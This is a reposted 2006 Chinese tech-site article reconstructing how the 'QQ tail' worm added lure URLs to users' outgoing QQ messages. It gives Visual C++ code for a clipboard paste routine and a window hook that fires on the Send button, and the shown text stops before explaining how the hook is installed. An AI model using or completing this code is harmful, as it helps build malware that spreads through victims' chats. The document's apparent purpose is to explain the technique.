| 网站建设 下载中心 社区论坛 信息公告 my小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
qq尾巴病毒的visual c++实现探讨http://www.iyit.net 日期:2006-11-21 13:29:48 来源: 点击: |
qq尾巴病毒的visual c++实现探讨
自2003起,qq尾巴病毒可以算是风光了一阵子。它利用ie的邮件头漏洞在qq上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的url,成为下一个中毒者。 下面我将要讨论的,就是qq尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。 粘贴尾巴 首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向qq消息的那个richedit“贴”上一句话而已。代码如下: tchar g_str[] = "欢迎来我的小站坐坐:http://dev.yesky.com";// 函数功能:向文本框中粘贴尾巴void pastetext(hwnd hrich){ hglobal hmem; lptstr pstr; // 分配内存空间 hmem = globalalloc(ghnd | gmem_share, sizeof(g_str)); pstr = globallock(hmem); lstrcpy(pstr, g_str); globalunlock(hmem); openclipboard(null); emptyclipboard(); // 设置剪贴板文本 setclipboarddata(cf_text, hmem); closeclipboard(); // 释放内存空间 globalfree(hmem); // 粘贴文本 sendmessage(hrich, wm_paste, 0, 0);} 钩子 好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究qq尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子: void cqqtaildlg::ontimer(uint nidevent){pastetext(hrich);} 这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了…… 然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下ctrl+enter键的时候将文本粘贴上。2003年1月份我的一台p2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。 讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“qq尾巴病毒”的这一技术。 首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理windows系统中特定的消息。 问题具体到了“qq尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明): // 钩子过程,监视“发送”的命令消息lresult callback callwndproc(int ncode, wparam wparam, lparam lparam){ cwpstruct *p = (cwpstruct *)lparam; // 捕获“发送”按钮 if (p->message == wm_command && loword(p->wparam) == 1) pastetext(g_hrich); return callnexthookex(g_hproc, ncode, wparam, lparam);} 在此我对这个回调过程说明几点: 1、lparam是一个指向cwpstruct结构的指针,这个结构的描述如下: typedef struct { lparam lparam; wparam wparam; uint message; hwnd hwnd;} cwpstruct, *pcwpstruct; 这时候像我一样的sdk fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管qq窗口。 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:黑客必知sql语句 下一篇:没有了 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 相关文章 | |||||||||||
|
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||